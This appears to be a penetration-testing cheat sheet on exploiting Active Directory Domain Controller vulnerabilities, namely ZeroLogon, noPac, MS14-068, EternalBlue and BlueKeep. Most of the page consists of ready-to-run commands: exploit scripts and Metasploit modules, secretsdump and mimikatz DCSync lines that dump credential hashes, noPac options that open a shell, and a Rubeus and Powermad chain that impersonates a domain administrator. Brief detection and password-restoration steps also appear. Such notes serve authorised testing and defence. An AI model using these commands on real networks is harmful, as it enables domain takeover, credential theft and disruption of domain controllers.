Exploitation - Domain Controllers CVE

RCE on exposed Windows services

The services exposed by the Domain Controllers may be vulnerable to well known critical vulnerabilities that can be leveraged to remotely execute code on a vulnerable Domain Controller.

The following vulnerabilities are worth mentioning:

VulnerabilityServicePatch release dateNote

EternalBlue / MS17-010

SMB: TCP Port 445

March 14, 2017

[L7] 445 SMB

BlueKeep / CVE-2019-0708

Terminal Services: TCP port 3389

May 13, 2019

Vulnerable operating systems: <= Windows 2008 / 2008 R2 <= Windows 7 [L7] 3389 RDP

(Likely patched) MS14-068

MS14-068 is a vulnerability that lies in the Microsoft implementation of the Kerberos protocol. A problem in the verification of the Privilege Attribute Certificate (PAC) in a Kerberos service ticket request allows any domain user may to forge a PAC with arbitrary privileges.

The Metasploit's ms14_068_kerberos_checksum module can be used to request a kerberos Ticket-Granting Ticket (TGT) with a forged PAC. The TGT is exported by the module is the credential cache (ccache) format. Refer to the [ActiveDirectory] Kerberos tickets usage for more information on how to use the Kerberos ticket from Windows and Linux operating systems.

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

ZeroLogon - CVE-2020-1472

ZeroLogon is a critical security flaw (CVSS score: 10.0) in the Active Directory Netlogon Remote Protocol MSRPC protocol (MS-NRPC).

As stated in the original research publication: "The vulnerability stems from a flaw in a cryptographic authentication scheme used by the Netlogon Remote Protocol, which among other things can be used to update computer passwords. This flaw allows attackers to impersonate any computer, including the domain controller itself, and execute remote procedure calls on their behalf."

Knowledge of the targeted Domain Controller (DC) machine account password can notably be leveraged to conduct DCSync attacks.

However, resetting the DC machine account password through this attack will break communications with others Domain Controllers and make the DC misbehave in undefined ways. As the password is only updated in the Active Directory ntds.dit database, the previous DC machine account password can be retrieved in the HKLM\Security hive (HKLM\SECURITY\Policy\Secrets\ $machine.ACC) of the DC and restored.

Exploitation in Python - Impacket update

For exploit code using impacket, the library must be updated to, at least, the version published on September 15th 2020 (update to the dcerpc.v5.nrpc library). In order to do so, a Python virtualenv can be created or the system-wide impacket installation updated:

# Creation of a Python virtualenv
git clone https://github.com/dirkjanm/CVE-2020-1472
cd CVE-2020-1472
python3 -m pip install virtualenv
python3 -m virtualenv impkt
source impkt/bin/activate
pip install git+https://github.com/SecureAuthCorp/impacket

# System wide update from sources.
apt remove --purge impacket impacket-scripts python-impacket python3-impacket
apt autoremove
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
pip3 install .
python3 setup.py install

Alternatively, static standalone binaries (embedding impacket) for Windows and Linux (both x64) are available in the following GitHub repository: https://github.com/Qazeer/dirkjanm_CVE-2020-1472_static_binaries.

0. Detection

Multiple tools may be used to detect if the Domain Controllers are vulnerable to the ZeroLogon vulnerability.

PingCastle's zerologon scanner presents the advantage of automatically enumerating the Domain Controllers through AD requests and conduct scan for all the enumerated Domain Controllers. It however can only be executed from a machine integrated in the targeted Active Directory domain.

PingCastle.exe --scanner zerologon --scmode-dc

# The -patch flag is required to conduct the scan from a non domain-joined client.
# Compiled binary: https://github.com/r3motecontrol/Sharp-Suite-CompiledBinaries
SharpZeroLogon.exe <DC_FQDN> <-patch>

Invoke-Zerologon -FQDN <DC_FQDN>

1. DC machine account password reset

Multiple tools may be used to exploit the ZeroLogon vulnerability to set an empty password for the targeted DC machine account.

secretsdump_linux -just-dc -no-pass "<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>"
secretsdump_windows.exe -just-dc -no-pass "<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>"

# Source: https://github.com/dirkjanm/CVE-2020-1472
python3 cve-2020-1472-exploit.py <DC_NETBIOS_NAME> <DC_IP>

msf > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set action REMOVE

# The -patch flag is required to conduct the scan from a non domain-joined client.
# Compiled binary: https://github.com/r3motecontrol/Sharp-Suite-CompiledBinaries
SharpZeroLogon.exe <DC_FQDN> -reset <-patch>

Invoke-Zerologon -FQDN <DC_FQDN> -Reset

2. Empty password DCSync

Impacket's secretsdump or mimikatz may be used to conduct replication operations (DCSync) using the DC machine account with an empty password.

secretsdump.py -just-dc -no-pass '<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>'

# Static compiled binary: https://github.com/ropnop/impacket_static_binaries
secretsdump_windows.exe -just-dc -no-pass '<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>'
secretsdump_linux_x86_64 -just-dc -no-pass '<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>'

mimikatz # lsadump::dcsync /domain:<DOMAIN> /dc:<DC_FQDN> /user:<krbtgt | USERNAME> /authuser:<DC_MACHINE_ACCOUNT$> /authdomain:<DOMAIN_NETBIOS_NAME> /authpassword:"" /authntlm

3. DC machine account password restoration

Remote access to the HKLM\SECURITY registry hive requires Domain Admin privileges. Access conducted using the DC machine account thus result in access denied error (rpc_s_access_denied). The extraction of the DC plaintext machine password from the HKLM\SECURITY registry hive must be done using of the Domain Admin accounts compromised during the previous DCSync attack.

Impacket's secretsdump.py Python script can be used to remotely extract the DC machine account secrets from the HKLM\SECURITY registry hive. A version post the 15th 2020 update should be used as it will automatically dump the plaintext machine password hex encoded required for the restoration (using dirkjanm's restorepassword.py Python script and the Metasploit's cve_2020_1472_zerologon module).

Alternatively, remote code execution using Domain Admin or Operators credentials can be leveraged to retrieve the HKLM\SAM, HKLM\SECURITY, and HKLM\SYSTEM registry hives from the DC and Impacket's secretsdump.py Python script used to locally extract the DC machine password from the hives. Refer to the [Windows] Lateral movements and [Windows] Post exploitation notes for more information.

# Retrieves the original DC machine account hex encoded plain-text password and NTLM hash.
secretsdump.py -hashes ":<NTLM>" '<DOMAIN>/<Administrator | DA_USERNAME>@<DC_IP>'

# Restore the DC machine account original password.

restorepassword_windows.exe -target-ip "<DC_IP>" -hexpass "<DC_MACHINE_ACCOUNT_HEX_PASSWORD>" "<DOMAIN>/<DC_HOSTNAME>@<DC_HOSTNAME>"
restorepassword_linux -target-ip "<DC_IP>" -hexpass "<DC_MACHINE_ACCOUNT_HEX_PASSWORD>" "<DOMAIN>/<DC_HOSTNAME>@<DC_HOSTNAME>"

# Source: https://github.com/dirkjanm/CVE-2020-1472
python3 restorepassword.py -target-ip <DC_IP> -hexpass <DC_MACHINE_ACCOUNT_HEX_PASSWORD> '<DOMAIN>/<DC_HOSTNAME>@<DC_HOSTNAME>'

msf > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set action RESTORE

# Source: https://github.com/risksense/zerologon
python3 reinstall_original_pw.py <DC_NETBIOS_NAME> <DC_IP> <ORIGINAL_NTLM_HASH>

CVE-2021-42278 and CVE-2021-42287

The combination of the CVE-2021-42278 and CVE-2021-42287 vulnerabilities allow any domain authenticated user to impersonate another (potentially privileged) domain user. The security updates to address both vulnerabilities were released in mid-November 2021.

The CVE-2021-42278 vulnerability is based on the fact that computer account sAMAccountName restriction are not properly enforced, and a computer account with a non "$" ending name can be created in the domain. The CVE-2021-42287 vulnerability is an improper validation by the Kerberos Key Distribution Center (KDC) of the user requesting a Service Ticket (ST) (using a Ticket-Granting Ticket (TGT)). The KDC will indeed automatically perform a lookup for the account appended with a "$" if the account the TGT was emitted to is not found. By combining both vulnerabilities, it is possible to ultimately obtain a S4U2self ticket impersonating an arbitrary user for a Domain Controller service.

The exploitation steps are as follow:

  1. Creation of a machine account (optional if a computer account is already compromised. The exploit will require modification of the machine account's sAMAccountName and servicePrincipalName attributes).

  2. Clearing of the servicePrincipalNames (SPNs) of the created / controlled machine account. Clearing the SPN attribute is required, as the renaming operation below would otherwise fail. Change to the sAMAccountName attribute are indeed propagated to the SPN attribute, and a conflict with the Domain Controller already existing SPNs would arise (as SPNs must be unique in the domain).

  3. Renaming the created / controlled machine account's sAMAccountName to a Domain Controller machine account, except for the trailing "$" (CVE-2021-42278). Example sAMAccountName: DC01.

  4. Requesting a TGT for the created / controlled machine account.

  5. Restoring of the created / controlled machine account sAMAccountName.

  6. Requesting a S4U2self ticket using the retrieved TGT to get a Service Ticket (ST) impersonating an arbitrary user to the Domain Controller. Upon reception of the TGT, the KDC will perform a lookup for the account using the sAMAccountName defined in the TGT (DC01 in the example). As an account with such sAMAccountName no longer exist in the domain, the KDC will automatically lookup for the account appended with a "$" (DC01$ in the example), and encrypt the ST with a secret of that account. As the KDC incorrectly assume that the TGT was for the Domain Controller machine account (CVE-2021-42287), the S4U2self ticket request is fulfilled. The S4U2self ticket allows impersonation of an ("impersonatable") user to the Domain Controller services (LDAP, CIFS, etc.). For more information on the S4U2self mechanism, refer to the [ActiveDirectory] Kerberos delegations note.

  7. The ST obtained can be used to access the Domain Controller, for instance to remotely execute code (CIFS SPN) or replication operations (LDAP SPN).

The attack can be performed automatically using the noPac Python script (standalone compiled versions):

# Retrieves tickets from all the Domain Controllers in the domain to validate their size.
noPac_scanner.py -all <DOMAIN_FQDN>/<USERNAME>[:<PASSWORD>]

# --impersonate <USER_TO_IMPERSONATE>: user to impersonate (must be "impersonatable"). noPac.py will automatically select a random Domain Administrator account if not specified.
# -create-child: rely on the CreateChild ACE to add a computer object (notably useful if ms-DS-MachineAccountQuota is set to 0).
# -dump -just-dc: retrieve secrets from the Domain Controller using impacket's secretsdump.
# -shell: execute code on the Domain Controller using impacket's smbexec.

noPac.py [-dc-ip <DC_IP>] [--impersonate <USER_TO_IMPERSONATE>] [-create-child] [-dump [-just-dc] | -shell] <DOMAIN_FQDN>/<USERNAME>[:<PASSWORD>]

# NTLM pass-the-hash.

# Kerberos authentication
noPac.py -k -no-pass -dc-ip <DC_IP> <DOMAIN_FQDN>/<USERNAME>

The attack can also be performed manually using the Powermad and the RSAT's ActiveDirectory PowerShell modules and Rubeus:

# Adds a new machine account.
New-MachineAccount -Verbose -Domain <DOMAIN_FQDN> -DomainController <DC_FQDN> -MachineAccount <MACHINE_ACCOUNT_NAME> -Password $(ConvertTo-SecureString '<MACHINE_ACCOUNT_PASSWORD>' -AsPlainText -Force)

# Clear the ServicePrincipalName attribute of the added machine account.
Set-ADComputer -Identity 'MACHINE_ACCOUNT_NAME' -Clear 'ServicePrincipalName'

# Updates the added machine account sAMAccountName attribute.
# The specified sAMAccountName should match the one of a Domain Controller machine account, without the trailing "$".
Set-MachineAccountAttribute -Verbose -MachineAccount "<MACHINE_ACCOUNT_NAME>" -Attribute samaccountname -Value "<DC_NAME_WITHOUT_$>"

# Request a TGT for the added machine account (specified using the new sAMAccountName).
Rubeus.exe asktgt /outfile:<TGT_OUTPUT_FILE> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /user:<DC_NAME_WITHOUT_$> /password:<MACHINE_ACCOUNT_PASSWORD>

# Restore the machine account sAMAccountName attribute.
Set-MachineAccountAttribute -Verbose -MachineAccount "<MACHINE_ACCOUNT_NAME>" -Attribute samaccountname -Value "<PREVIOUS_SAMACCOUNTNAME | DOES_NOT_MATTER>"

# Request a S4U2self ticket, using the previously obtained TGT, to impersonate the specified user to a service of the Domain Controller.
Rubeus.exe s4u /nowrap /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /ticket:<TGT_OUTPUT_FILE> /impersonateuser:<Administrator | USER_TO_IMPERSONATE> /self /altservice:<LDAP/DC_FQDN | CIFS/DC_FQDN | DC_SPN> /ptt



Last updated